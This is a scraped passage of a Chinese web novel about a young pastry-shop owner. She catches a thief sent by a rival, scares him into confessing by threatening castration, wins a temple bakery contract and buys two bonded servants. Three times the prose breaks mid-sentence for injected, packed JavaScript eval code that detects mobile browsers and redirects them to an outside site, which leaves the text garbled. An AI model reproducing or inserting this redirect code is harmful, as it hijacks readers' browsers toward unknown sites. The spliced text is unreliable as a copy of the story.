收拾好厨房，检查完门窗，好安举着蜡烛轻轻推开好昕的房门。 房间里好昕侧趴在床上，睡得像小猪一样。一只脚压着被子，一只脚搭在床边，大半的被子都被抱在怀里，身上是一点没有。 好安目光落在好昕的脚上。 小孩子身高就是串得快，这件衣服才买两个月，买的时候还嫌长呢，现在脚踝都盖不住了。 好安小心翼翼的抽过被子，轻轻盖在他身上。 谢宗林好像也长高了，他一天到晚穿着店里的衣服，好像从没穿过自己的。 不对，他好像没有自己的衣服。 好安回屋翻了翻账本。现在伙食好了，伙食费也涨了、住宿费也是开支，算下来谢宗林还欠他一百多文呢。 明晚带好昕去买衣服，顺带赊他点买衣服的钱吧，好安想道：谁让她人美心善呢。 日未出，夜未亮。 好安迷迷糊糊听见院里好像有什么动静。 时间还早着呢，谢宗林干嘛呢！ 好安烦躁地踹了一下被子，却又下意识地朝外看去。 房间的窗户正对院子，好安推开窗就看见谢宗林站在眼前。 “你……” “嘘。” 谢宗林竖起手指，抵在唇间，眼神锐利，全身紧绷。 好安没见过他这副神色，一时愣住，七分睡衣顿时去了三分。 忽然，厨房传来窸窸窣窣的声音。 “有人。”谢宗林小声道。 好安仅剩的四分睡意也没了。 “用这个。”好安赶紧递给谢宗林一根胳膊粗的木棍，自己也握着一根窗闩。 两人轻手轻脚来到厨房门口，借着月光，看见一个人影鬼鬼祟祟地蹲在灶台前。 “我的枣泥馅！”好安一眼认出他手里的东西，忍不住发出惊呼。 这东西关系到她能不能被云台寺选中。 能不能被云台寺选中关系到她能不能接到有钱人的单子。 有钱人的单子关系到她的钱包！ 断人财路，如杀人父母，杀人父母，不共戴天！好安二话不说提棍砸了上去。 黑影似有所感，正要转头查看，忽然一阵风从耳边划过。 “啪——咣”。瓷盆和地面发出脆响，枣泥馅脏了。 黑影反应过来夺门想逃，结果被谢宗林一脚踹了回去。 这一脚踹得极狠，黑影没爬得起来。 “谁派你来的？”谢宗林掌灯，问道。 微弱的烛光照亮角落，好安终于看清他的脸。这人是县里有名的地痞流氓周大，手脚不干净，经常在摊子上顺东西。 “没有，我就是看你家生意好，来偷点钱。”周大缩在墙角里，双手抱头。 “谁家偷钱偷到厨房？” 好安刚说完就想到了云台寺客堂里的那道目光，心里暗道不好。 她连忙检查了其他东西，果然，所有的粮油米面都拌上了猪油。 好安两眼一黑，她原本准备卯时起来做山药糕的外皮和铺子里点心，卯时四刻左右上锅蒸，辰时便能出发，时间刚刚好。 现在全完了。 粮油米面有备份，但是枣泥馅没有。 昨天她把所有红枣都煮了，要是出去买，最早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056050|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要等到辰时。 “我偷着偷着饿了，就摸到厨房来了，不行嘛。”周大嬉皮笑脸，说着还主动伸出双手，对好安催促道：“快把我绑了见官。” 周大一看就是老油条，衙门什么流程，会被关几天怕是比新来的衙役都熟。 “见官？见什么官？”好安不知从那抽出一把大砍刀，阴恻恻的说道。 “你不送我见官你绑我干什么？”周大不解，但身体还是很配合，觉得一个小娘子不能拿他怎样。 “你马上就知道啦。”好安笑得意味深长。 周大被谢宗林提溜到柴房后，双腿也被绑了起来。 “一人做事一人当，我不会跑。”周大不屑。 “是怕你受伤啦。”好安说道，随即一边在谢宗林耳边低声说了些什么，一边上下打量着周大。 周大被好安毫无感情的目光盯得有些发毛，她好像不是在看一个人，而是在看一个物品。一股没来由的不安在心底蔓开 好安和谢宗林说完，便蹲到周大身前。 她举起砍刀，吹了吹，显摆道：“看，吹毛立断，好刀呦。” “你要干嘛？”周大躺在地上，身子往后缩了缩，说道：“我就算偷了你东西，你也不能杀我。杀人斩刑。” “我知道。”好安脸上笑了笑，手里却拿了块磨刀石，把刀在上面荡了荡。 “你一个大老板，没必要为我这种小人豁出性命。”周大咽了咽口水，声音颤抖。 “放宽心，不杀你。”好安把周大拽正，和声道：“自我介绍一下，我，好记老板，除了会做点心，还会谯猪。” “谯猪是什么？”周大不想问，但看见好安那对亮晶晶的眼睛就知道自己还是问一下比较好。 刚好，谢宗林端着一盆热水和一把小刀推门进来。 “谯猪就是在他们的子孙袋上那么轻轻一划……” 好安边说边演示。 “我听说你原本小有家资，后来总是寻花问柳，没几年就把家底败光了。可惜你命好碰到了我。我这一刀下去，保你以后看见女人就躲远远的，不想这不想那，绝对省钱……” “你这是故意伤害，要杖刑的。”周大嘴硬道：“你一个小娘子抗不过几下。” 这些律例记得倒是不错。 “只要你不死，五十两可赎。”谢宗林忽然插话道。 “不错，背书有效果。”好安忍不住夸了一句。 谢宗林耳朵“唰”一下红了，不好意思的低头笑了笑。 好安擦刀的手忽然停下，接着莫名其妙的叹了口气。 “怎么了，是有什么东西漏了嘛？”谢宗林问道。 “不。”好安看了一眼周大，说道：“我在帮他省钱，我好善良。” 他这人命关天，他俩在调情？他是碰到了两个疯子吧！周大的心脏在胸腔里嘭嘭狂跳。早知道好记的老板是这样，他死都不接这单子。他家可是三代单传，他还没儿子。 “你说用这把大刀，还是用这把小刀。”好安和谢宗林商量起来。 “还是这把大的吧，给周大用猪的不是看不起他吗？” “可这大的割出来的伤口也大呀，万一邪气入体，眼一睁一闭一辈子就过去了呀。” “没事，猪都能挺过三四天，他这么大一个人至少挺十天。十天一过就没有保辜了，是死是活和我们无关。” “你说得对。”好安转身对周大道：“那就用这个吧，来也匆匆去也匆匆。”说完便指挥谢宗林给周大脱.裤子。 周大浑身颤抖，这两个人比他还懂法，看来自己今晚要么子孙袋留下，要么小命留下。 谢宗林的手刚碰到周大的裤腰，便见周大发出杀猪般叫声，“别碰我！” “没事，她有经验，很快的。”谢宗林劝道。 “你们不就是想知道谁找我来的吗？我说，但你们别碰我！” 37. 糯米团子 “这些加了猪油的米面怎么办？”谢宗林把旧的全部换成新的。 就算周大再三保证过了，没在里面加什么乱七八糟的东西，他们也不敢拿这些做给客人吃，但扔掉又舍不得。 “和周大放一起，等天亮了一块送去衙门去，让他赔。”好安咬牙切齿，手上没控制好力道，把山药削断了。 好安正要用筷子去夹地上的那根削了一半山药，就见谢宗林直接用手拿了起来。 “我来吧。” “你别……” 谢宗林一下顿住，拿着山药的手不知该如何是好。 “快放这。”好安赶紧拿来一个盘子，示意谢宗林松手，然后一把抓住他的手腕看了看，问道：“手痒吗？” 烛光摇摇晃晃，好安看不清，把头朝前凑了凑。 手被握住了，手离她的脸好近，甚至能感觉到温热的呼吸。 “手痒吗？”好安见谢宗林迟迟不说话，又问了一次。 “啊，不，不痒。”谢宗林觉得被握住的地方好烫，手也好烫，像是在燃烧，烧得他胳膊麻麻的，脑袋也麻麻的。 “你不痒！”好安一下瞪大了眼睛，看向谢宗林的目光像是发现了什么稀世珍宝。 有人对山药不过敏！ “那这山药都归你了，你来削，凫茈也是。”好安连忙解开左手上的布带，把刀塞给谢宗林，兴奋道：“家里的山药以后都你削。” 好安的指尖无意的扫过谢宗林手心，谢宗林迅速扭头，躲开好安的目光。 “啊，好。”谢宗林结巴应道。 好安心里念着点心，自然没有发现谢宗林的反常，一边拿着一个空碗往外冲，一边侧头对他说道：“削完全部蒸上，记得把栀子黄也泡上。” 月色下的桂花树亭亭玉立，一簇簇桂花掩映在碧绿的枝叶下显得神秘而又梦幻。 不就是枣泥没了，她好安没有枣泥也能做出不一样的点心。 好安轻轻摇了摇桂花树，很快，地上落满了桂花。 这些桂花都不要。 掉下来的桂花蔫得也快。好安要的是枝头开得正盛的。 一朵朵难摘，一簇簇很快。好安掐下一簇，然后双指轻轻往前一推，花和梗便分开了。 桂花是辅料，用不了太多，好安摘了半碗便收手。 新鲜的桂花用盐水浸泡一会，洗掉藏在花蕊深处的小黑虫，然后放在灶膛附近烘干水汽。 碾碎的栀子黄和水充分接触，快速散发出黄.色素。用他和面，直至面团颜色均匀。然后把面团捏成多个小饼，放开水里煮。 好安一边切凫茈，一边留意锅里的情况，见面饼都上浮，便指挥谢宗林捞上来。 趁热，好安朝盆里加一勺玉米油。 刚出锅的面饼太烫，好安先用擀面杖捣，等不烫了便用手揉面。 玉米油缓缓渗入糯米团，好安开始反复拉扯。面团逐渐变得光滑流畅，弹性十足。 好安将面团分成小剂子，这是桂花山药糕外皮。 桂花山药糕原本是淋糖桂花，但考虑到这次选拔除了用在斋堂还要放在佛像前供奉。供奉后这些点心还要分发给香客。黏糊糊的酱汁十分不便，她便改了改。 之前的山药是做外皮，这次山药便做成馅。 捣成泥的山药加入切碎的凫茈和桂花，再加少许黄.冰糖粉末。这四样一定要搅透，做到你中有我，我中有你，不然口感会十分奇怪。 凫茈口感清脆，使软绵的山药泥不在单调。沁人心脾的桂花不仅大大增加了香气，也能减弱栀子黄的寒性。 风味互补，功效平衡。 好安将小剂子的面皮搓成球，然后压平捏成一片片薄薄的皮。 放入馅料，包捏收口，再滚上一层熟糯米粉，便好了。 另一边。 福缘斋的少东家也是街香居的少东家，见周大迟迟未归便猜到人被逮了。 “周大不会把我们供出来吧。”少东家捏着手心，在屋里来回踱步。 今年都计算好了，搞两个名额，多递一份点心增加胜算，结果半路冒出个好记，抢先一步，占了福缘斋的名额，害的他被他爹揍了一顿，还禁足一个月。 “不会，周大虽是个浑球，但办事还算得力。”掌柜站在一边陪着笑。 “那他们会不会打他，威胁他，逼他供出我们？”少东家面露担忧道。 “少爷放心，周大光棍一个，上没老下没小，有什么事情能威胁到他？最多是揍一顿，回头多给他点钱就行了。” “可好记东家身边有个大高个，看着就是个会打架的。周大能扛得住他一拳头吗？” “他不是第一回干这种事，他有经验。”掌柜谄媚一笑，给少东家斟了一杯茶，说道：“既然被发现了，那我们后面……” “干，继续干。”少东家脱口而出，他屁股现在都坐不下来，不好好整整好记，他咽不下这口气。 好安看了一眼天色，东方刚刚泛白，时间还早便忙活店里的事。 辰时一到，好家村的几个姑娘第一个到。 她们都是相互约好，早上一起做村里的牛车来，晚上再一起回。 今刚好周娟他哥要来县城，便顺路把他们都稍上了。 “你哥今天上午有事吗？”好安见状问道。 “没，他中午才有事。” “我这边上午有个活，中午前结束。你哥接吗？” “接！”周娟毫不犹豫道。 “行，你让他马上去后院找我。”好安说完又看了眼周娟。 周娟和她个头差不多，身材也相似。 “你也来。” 好安回去拿了一件自己的衣服和一个帷帽递给她道：“换上。” 周娟不明所以，但还是照办。 “你和你哥巳时之前帮我把这个送去云台寺。”好安提来笼点心，说道：“用我的牛车。” “路上可能不太顺，要是遇到拦车的，你不要露面，但你们要表现的焦急。若是遇到撞车的，安全最重要。”好安强调道。 “我哥驾车很稳的。” “跟你哥稳不稳没关系，路上容易有人不长眼。” “啊？”周娟疑惑，路上现在这么不安全吗？ “那点心还能准时送到吗？”周娟问道。 “尽量就行，迟到也无所谓。” 周娟前脚出门，好安后脚也跟着走了。 她从车马行租了一辆马车，绕路去了云台寺。 周娟和她哥一路小心翼翼，生怕撞了别人或者被别人撞了。 “过了这个竹林，前面就是云台寺了。好安是不是驾车时摔过，还是被人讹过。这一路不挺正常的吗？” “看你的路。”周娟握着食盒，透过窗缝朝外看去。 到这人明显少了很多，一路上也没遇到好安说的情况，但周娟仍不敢放松。 “驾。”身后突然传来嗒嗒的马蹄。这声音一停就知道速度极快。 “哥，你快让让。”周娟催促道。 “让啦。”周娟她哥拉着缰绳，想把牛车靠在路边。 但牛的速度缓慢，哪有马蹄来的迅速。 车尾还没转过来，左轱辘便和马撞上了。 “吁。”对方一时没刹住，左轮子被踢歪了。 周娟在车里一震，连忙抱住食盒。 “一辆破牛车还占着路中间，真碍事。”来人骑在马上，嘲笑道：“你这破车还能动吗？”说着甩了一鞭子，指挥着马又踢一脚。 一连串的事情发生在一瞬间，车轮脱落，车厢带着一晃，周娟没坐稳，手里的食盒一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063725|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔飞出去。 食盒里的点心散落一地，来人驾着马在上面来来回头踩了几脚。 等周娟他哥爬起来时，来人已经驾着马跑远了。 “你没事吧。”周娟她哥扶起周娟，关心道。 “没事。就是点心洒了。” “万和县何时出了这种神经病。” 看着远去的背影，追肯定追不上了，周娟他哥只能冲着那个方向吐了几口唾沫。 “这车还能修吗？” “能。”周娟她哥看了一眼，说道：“只是车辖坏了，你看一下车上有备用的吗？没有用绳子临时绑一下也行。” 普通人家的车辖多是木头做的，车用得多，路不平整，车辖就容易断裂。 没了车辖，车轮无法固定在车轴上。所以大家车上都会备上一些。 周娟她哥三两下便装好，说道：“回去重拿一份点吧。” 云台寺的考核时间是辰时四刻，好安掐着时间把点心交了上去。 “好老板这个是？” 这种样式的点心，职事僧从未见过。 “糯米团子，桂花山药味的。” 好安本想叫桂花山药糕，但这样子和糕实在相差甚远，还是决定叫回原来的名字。 她是最后一个，职事僧登记好名册，便端着五样点心离开了。 职事僧一走，好安带头说话。 “冯掌柜早啊。” 她刚进来的时候，这个人就面露惊愕，像是对她的出现感到意外。 “好老板早。”冯掌柜一愣，随即冲好安笑了笑。 “冯掌柜昨晚睡得好吗？”好安抬手给他倒了杯茶。 “好，挺好。” 一个十来岁小姑娘问一个四五十岁的老头睡得好不好。这个年代可没这样的社交开场白。众人一下都不说话了，纷纷竖着耳朵。 “那冯老板今天怎么有这么重的黑眼圈，我记得上次还没吧。” “年纪大了，年纪大了。” “年纪大了就要多注意身体，少盘心思，不然眼里都是红血丝，容易得病。” “哈哈。”冯掌柜尴尬的笑了笑，抬手摸了摸额头。 “我刚刚进来的时候冯掌柜怎么满脸惊讶？怎么，冯掌柜觉得我来不了？”好安笑道：“呦，冯掌柜怎么出汗了。这天也不热啊。” “怎么会。” 好安一番话把冯掌柜说的提心吊胆。 好安给其他三位也各到了一杯茶，自我介绍道：“在下好安，好记老板。” “久仰。” “好老板的点心甚是不同，不知师从何人？” “确实，在下买过好记的点心，不少都是从未见过的。” 一个糖糕记的少东家，一个甜园的掌柜都凑了过来。他俩都对好安充满好奇。 要不是因为好记的师傅就是老板，他们都想把人挖过来。 好安随意说道：“我就是喜欢瞎搭配，搭配多了，便做了不少稀奇古怪的东西，有些味道就不错，我就拿出来卖了。” “好老板年轻，想法多，就是不一样。”甜园的掌柜笑道。 其他人也跟着笑了笑。 “年轻也不好，阅历少，考虑不周全，遇着事了总不知如何是好。”好安叹了口气，便把家里遭贼的事情大剌剌的说了出来。 “周大就一泼皮无赖，好老板还是多买些看家护院的人。”糖糕记的少东家听了连连摇头。 “冯掌柜，你说碰到这种情况应该怎么办啊？” 四双目光齐刷刷看自己，冯掌柜又想抬头擦汗了。 “送官，这种人赶紧送官。” 好安和他们都不熟，偏偏她时不时的就Q一下冯掌柜，在座的都不是傻子，自然看出其中有猫腻。但大家也不说，依旧笑呵呵的聊天。 38. 素夹馍 点心由谁来评定，云台寺没有公开。职事僧把点心端走后，众人就在客堂候着。 约莫半个时辰后，职事僧来传话，请好安到后院一叙。 众人一听便知道今年好记中选，纷纷起身道贺。 职事僧递来一份契书，说道：“九月十九是观世音菩萨出家修行的日子。当天，云台寺要三百分糯米团子。好施主可有时间？” “有。”好安回道。 三百份看着有点多，咬咬牙，一天就能做完。 “这里是关于斋堂的，需要注意的点我都写下了。”职事僧指着右边说道。 好安扫了一眼，发现斋堂对使用时间划分极严。 “辰时之前不得踏入斋堂，这是为什么？” 不能早到，好安还是第一次见。 “辰时之前是僧人的用饭时间。”职事僧解释道。 “我们不负责僧人的三餐？” “不用，好施主只负责香客的。” “斋堂的点心我可以做主换吗？”好安问道。 “可以，只要不犯忌讳，好施主可以自行决定。” 好安点点头，看一眼其他，确定没什么问题便签字画押。 云台寺要求辰时到，酉时归，相当一天都要呆在寺庙里。 店里目前所有的点心都是好安做的，她不可能抽身，但她心里已经有了人选。 谢宗林，悟性高。刚开始水平不行，指点几次就开了窍，现在一日三餐都是他在做。 听好安说完后，谢宗林一声不吭的收好碗筷端去井水边。 好安跟在后面，说道：“你现在只欠我一百多文。云台寺包食宿，你要是去的话，最多十天就能还清我的钱。剩下的你就可以自己攒起来。” 谢宗林依旧不说话，噔一下站起来。 “你干嘛？说话呀。” “我舀点草木灰。”谢宗林正要往回走，结果一脚带翻木桶。 六个碗，八个碟子碎碎。 “七十文。”好安脱口而出。 “但没关系，只要你答应去，这笔钱给你免了！” 谢宗林嘴唇蠕动了几下，沉默半晌，问道：“这一定要去吗？” “你不想去？” 谢宗林撇过头，默认。 好安见谢宗林耷拉着头，眼睛里闪过不安。她突然想起自己小时候喂过的流浪狗，肚子饿想要吃的又不敢要时就是这副模样。 “不想去就算了。” 想道谢宗林以前也没过过什么正常日子。好不容易逃出来后就一直跟着自己，可能是雏鸟情节吧，不想离开熟悉的环境。 谢宗林不去，总得有人去。好安回屋摸出一锭银子，去了牙行。 近几年，没有灾荒和战争，只要勤劳肯干，混个温饱不成问题，卖儿卖女的自然就少了。 好安逛了一圈还没下手，一方面是没发现几个像样的，一方面是心里纠结。 买卖人口总觉得别扭，但不买又没人可用。若是雇人，她又不敢把方子教给对方。 买人手里至少还握着身契，有一定的威慑力。雇人签的是契书，谁都能半路反悔。 “小娘子，你要是真心想买，我这还有更好的。”牙人见好安一直皱眉，却又不肯离开，便估摸她急用人。 “好的什么样？”好安顺势问道。 “我这有一批官府收没的家产，里面有好几个不错的奴仆。”牙人小声道。 “你这手续齐全吗？” 一般只有犯罪者的家产才会被收没，这些东西都是在官府挂了号的，处置权也在官府手里。 “当然。”牙人说道：“我既然敢卖，肯定什么都帮你办好。” “那看看。” 这些奴仆或者被判处为奴的人都关在室内。 “这一排都是富贵人家出来的，这一排都是官宦人家的。” 屋里的人是比外面的看着整洁不少，相貌也端正许多。 “有会做饭的吗？”好安想找个有基础的，教起来省事。 “小娘子是想买个厨娘？”牙人指着靠墙的几个，介绍道：“这三个都在厨房做过活。” “有男的吗？”好安问道。 “哎呀，还真不巧，昨天最后一个被买走了。”牙人看了一眼好安，见她面露犹豫，便补充道：“在厨房干活没必要分男女，菜做的好吃就行。这仨有手艺有经验，小娘子现在若是不要回头在想可就没了。” 好安扣了扣下巴，思虑再三还是觉得女的不行。 云台寺里都是和尚，送个女的过去不合适。 “要男的，会做馒头就行。”好安降低要求。 “我问问。”牙人对好安和颜悦色，转头就变了脸色，厉声道：“听见没，有谁会蒸馒头？” 一个窝在角落里的汉子抬手，小声道：“我会。” “过来。” 见牙人招手，那人转过身来，这时好安才看见他身后还有人，是一个年纪不大的小姑娘。 小姑娘低着头，头上的两个小揪揪对着好安。 “我会。”那人拉着小姑娘连忙挪膝到好安和牙人面前，说道：“砍柴烧火、搬货种地小的都会。” “叫什么？”牙人问道。 “小的余二狗。” 牙人翻了翻册子，找到余二狗登记的信息，说道：“这人原来是干厨房粗活的。做饭做不出什么花开，但简单的还是会的。” “行。”好安见余二狗衣着还算得体，指甲缝什么的也比较干净，便问道：“他多少钱？” “十五两。”牙人竖了数。 “十五两？”好安惊道。 刚刚那仨厨娘白十一二两，这人什么都不会卖十五两。 “他十两，他妹五两。他俩一起卖。”牙人解释道。 “她妹？后头那个？”好安瞅了一眼小姑娘，便收回目光，“她站起来都没我腰高吧，你卖五两？” 十五两也不是掏不起，但什么都不说就付钱总感觉自己吃大亏了。 “你把他妹也买回去，他干活也卖力是不是？” 牙人刚说完，余二狗便说道：“我有力气，我能干活。”说着，拉着他妹要给好安磕头。 “闭嘴。”好安冷冷说道。 砍价的时候最讨厌有人唱反调。 余二狗被好安冰冷的眼神震慑住，不由把身后的妹妹朝自己怀里搂了搂。 “就她那细胳膊细腿，都没我家门闩粗，买回去都不能干活。”好安摇摇手，说道：“十五两绝对不行，十三两。” “十三两太低了。”牙人拍了拍册子，“这个价格都不如卖去青楼。” 小姑娘一听，身体一哆嗦，头埋得更低了。 “十四两，最多了。”好安指了指小姑娘，说道：“她那嘴巴什么样你也见了，最多十四两。” 牙人没想到好安眼这么尖，小姑娘都没抬头就发现她兔唇。 “这，十四两有点……” “十四两，一手交钱，一手交货。” 牙人扫了一眼小姑娘，这小姑娘确实是个累赘。愿意掏十五两的人是有，但知道她兔唇之后都觉得晦气。 今既然有人不介意，便宜一两就一两吧，总比烂在手里的好。 “行，一手交钱一手交货。”牙人怕好安反悔，以最快的速度办完了手续。 “要改名字吗？”牙人执笔问道。 “原名叫什么？” “余二狗，余三妞。” “要换新名字吗？”好安看向余二狗。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077342|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的都行。” “余二狗是不大好听，叫余二壮吧。”好安也是个取名废。 “谢主家取名。” 落笔成契，好安接过新的卖身契，带着两人回家了。 到家，好安便去忙自己的事，把二人交给谢宗林。 等谢宗林安排两人洗漱干净，换了身干净的衣服，好安才重新出现。 余二壮一见着好安就拉着余三妞，说道：“给东家磕头。” “别整这些虚的。”好安不知从何处端出面粉和水，“时间就是金钱，赶紧干活吧。” “好的东家。”余二壮赶紧接过。 先前东家一直在讨价还价，对他妹妹的不喜是明晃晃的挂在脸色，没想到还给她妹买了一身衣裳，虽然是最便宜的，但很舒服。 不嫌弃他妹的都是大好人，余二壮想道。 余二壮先用温水把老面酵子化开，然后加面搅拌成絮状。 看到这，好安便知道余二壮手艺还行，至少揉面没问题。 “不错。” 流程没问题，动作也熟悉，做一个普普通通的馒头完全没问题，好安十分满意，十四两值。 “我们来做个新的。”好安重新拿出两份面粉，一份递给余二壮。 好安一边示范一边说道：“和面夏天用冷水，冬天用温水，面粉里加盐，加菜油，加碱水。面团要硬，不要全发……” 和面加的东西不一样，但手法是相同的。余二壮一开始有点生疏，但后来发现和做馒头没有太大区别便逐渐得心应手。 “擀成中间宽两头尖的长条，然后卷起来，开头卷的松，后面卷的紧。快要卷到头的时候停下，剩下的小尾巴放到面饼底下。” 软白面皮在好安手里变得像花一样，不等余二壮欣赏，好安一掌把面团按扁。 “把它擀开就能上锅了。”好安看向余二壮，问道：“会了吗？” 余二壮面露迟疑。 “步骤记住了吗？”好安重新问道。 “记住了。”余二壮点头道。 好安指了指自己面前和他面前的剂子，说道：“这些都给你练手吧。” 白吉馍最难得是面团里碱水的比例、发酵的时间和烙制。 碱水放多了面团会发黄，口感发涩。 面团发酵时间长会变软，时间短会硬实。 烙制也是，大火易焦小火不脆。 余二壮还算有天赋，一下午加一晚上，白吉馍除了有点软，其他方面都有模有样。 “还行，明天继续练。” 晚上，谢宗林炒了两大盆菜，一盆炒豆芽，一盆土豆丝炒肉。 “对了，你明天教余二壮炒豆芽和土豆。” 这里对点心的定义十分宽泛，只要能拿在手里吃的都算点心。所以好安准备在云台寺斋堂推出素夹馍。 里面素菜就配豆芽、土豆和香干。豆芽和土豆炒一炒，香干麻烦一些，要用卤水煮。 一想到豆皮，好安连忙把黄豆泡上。 好安忙完，重回饭桌的时候用觉得自己还是忘了什么事情。 好安：“你前面的门关了？” 谢宗林：“关了。” 好安：“米面粮油补上了？” 谢宗林：“补了。” 好安：“不对，我今天肯定有一件很重要的事情没做。” 谢宗林：“周大还在柴房关着呢。” “对。”好安唰一下站起来，谢宗林身份有问题去不了衙门，送周大去衙门只能好安去。 “现在已经散衙了吧。”好安说道。 谢宗林点点头。 “那明天吧，明天一早就去。”好安重新坐下。 周·饥肠辘辘·大：想去衙门，衙门至少有饭吃。 39. 盐豆大福 周大偷窃不成被判三个月，但他愿意花钱，衙门打了二十板子便放了。 好安心里已经猜到这个结果，笑着拍了拍周大的肩膀，道：“好好养伤，祝你早日恢复。” “不劳挂念。”周大缩了一下脖子，他现在看见好安笑就觉得下身紧，甚至有点头晕。 好安不语，只是意味不明地扫了周大一眼，又掂了掂手里的荷包，转身去了成衣铺。 普通人家都是买布，回家自己做。但好安没这个手艺，只能买现成的。 周大这次赔了不少，好昕和谢宗林一人买一身都绰绰有余。 “给他俩做一身衣服。” 伙计闻言拿出布带量了量身高臂长，问道：“客官是做秋衣还是冬衣？” “冬衣多少钱？” 伙计的话提醒了好安，在再过一阵就立冬了。棉衣棉被要准备起来了。 “棉衣还是裘衣？” “棉衣。” 伙计拨了拨算盘，说道：“两套三两五钱。” 好安挑眉，这价钱相当于一个普通人家一个半月的收入。 “棉花可以单买，能便宜几百文。”伙计很有眼见的说道。 “还是做成衣。”好安对自己的手工很有数，抬手就要付钱，却被谢宗林拦住，“单买吧，我娘以前教过我一些，我回去试试。” 好安一听能省钱，利落的收回银子，对伙计道：“做秋衣。” 钱有盈余，好安便多付了一件，回头让余二壮也来做一件。毕竟要送去寺庙，穿的太磕碜影响好记形象。 余二壮的白吉馍已经烙得有模有样，隐隐有铁圈虎背菊花心的纹路，但炒菜就不尽人意。 什么时候放多少盐，谢宗林一步一步的教，可只要过了余二壮的手，这盘菜总差那么点意思。 好安索性放弃让他学炒菜，配了几份卤煮料包让他学卤香干。 只要不用锅铲，余二壮上手都很快。 豆芽焯水，胡瓜代替土豆，再配上两大块香干，三种菜和在一起切碎，塞进外脆里软的白吉馍，最后再淋上半勺浓郁的酱汁，余二壮自己都忍不住咽了咽口水。 “你自己尝尝。” 没有肉的夹馍好安提不起兴趣。 “好吃！”余二壮瞪大双眼，根本不敢相信这是自己做的。 “我可以留一半吗？”余二壮吃完一口咂了咂嘴，说道：“我想给三妞尝尝。” “那倒不必。今晚大家都吃这个。” 东家居然把这个给他们当晚饭，余二壮赶紧跪下给好安磕头。 好安没拦，他们磕习惯了，不磕反而会不安。 “起来吧。”等余二壮磕了三个响头，好安才缓缓说道：“我们家不兴磕头这种表面功夫。要想感谢就用行动表达，多干活。” 好安想了想，面露凶狠道：“还有，背主是大忌，但凡被我发现你有这个念头，我保你和你妹吃不了兜着走。” 余二壮又磕了三个头，才惶恐的站起来。 一连几天，为了让余二壮练手，好记中饭和晚饭都是素夹馍或者肉夹馍。 除了余二壮和余三妞顿顿吃得起劲，其他人都唉声叹气。 “最后一顿了。”好安安慰道。 明就九月十九，三百份糯米团好安已经送给云台寺，余二壮和余三妞也去云台寺认过脸，安排好厢房。 云台寺的职事僧年轻时学过医，见余三妞年纪小，便主动提到兔唇可以修复。云台寺每年都有大户人家借地举办义诊，到时候他可以帮忙牵桥搭线。 余二壮一听，感动得一把鼻涕一把泪。 他娘是个商户的妾室，生过三个孩子。大哥小时候得天花死了，他妹是个兔唇，他娘因此郁郁而终。 等他娘一死，他爹那一阵生意十分不顺，便找大师看了看，说他八字和他爹相克，他爹又不差儿子，转头就把他俩卖了。 妾室的孩子在家也是给正房端茶倒水。日子对他其实没太大变化，但对妹妹影响很大。 原本看在主家的血脉上，至少不会当面蛐蛐，妹妹还愿意说几句话，卖了后谁都来嘲讽一句，渐渐她一句话都不愿意说，头也是一天比一天低。 要是能治好，他余二壮下辈子，下下辈子都愿意给他们当牛做马。 好记甜品今年被云台寺选中的消息逐渐在县里传开，好安便在九月十九顺势推出盐豆大福。 店里的盐豆大福和云台寺糯米团子相似又稍有不同。店里时间充足，糯米皮直接用糯米捣制而成。 皮里混入粒大咸香的黑豆，内里包上香甜的红豆泥。 若是一口咬下去，先尝到的是咸口的糯米皮，接着咀嚼两口，红豆的甜便会在口腔弥漫。 富有嚼劲的外皮配上软绵的馅料，米香混着豆香，咸甜交夹，二者达到一种奇妙的平衡，让人一口接一口根本停不下来。 也考虑到一些纯甜党，好安还做了一种栗子大福。 外皮加黄油，内里的红豆沙比盐豆大福的红豆泥要细腻许多，再放上一整颗糖渍栗子，用包包子的手法裹好，翻过来便一颗宛如玉石一般的完美圆球。 好安在大福的表面撒上一层薄薄的熟糯米粉，这样不仅防止粘连破损，更显憨态可爱。 趁着云台寺的秋风，好记这几天生意极好。店里客人多了，门口探头探脑的也多了。 鉴于上次教训，好记甜品的人都警惕许多。正好村里有人家的狗生了一窝小狗，一断奶田桂便抱来两只。 两只小狗十分壮实，除了颜色不同，其他都一模一样。 两只小狗一到家，好昕就开心得不行，一胳膊圈着一个，给它们取名，黄色的叫黄豆，米白色的叫米粒。 好安索性把它们的吃喝拉撒也包给好昕。 每次喂食都是好昕，两只小狗一见着好昕也开心得尾巴直摇。 “今天上午有个男的在店门口晃悠了好久。”周娟中午吃饭的时候忽然想到此事，赶紧和好安说了。 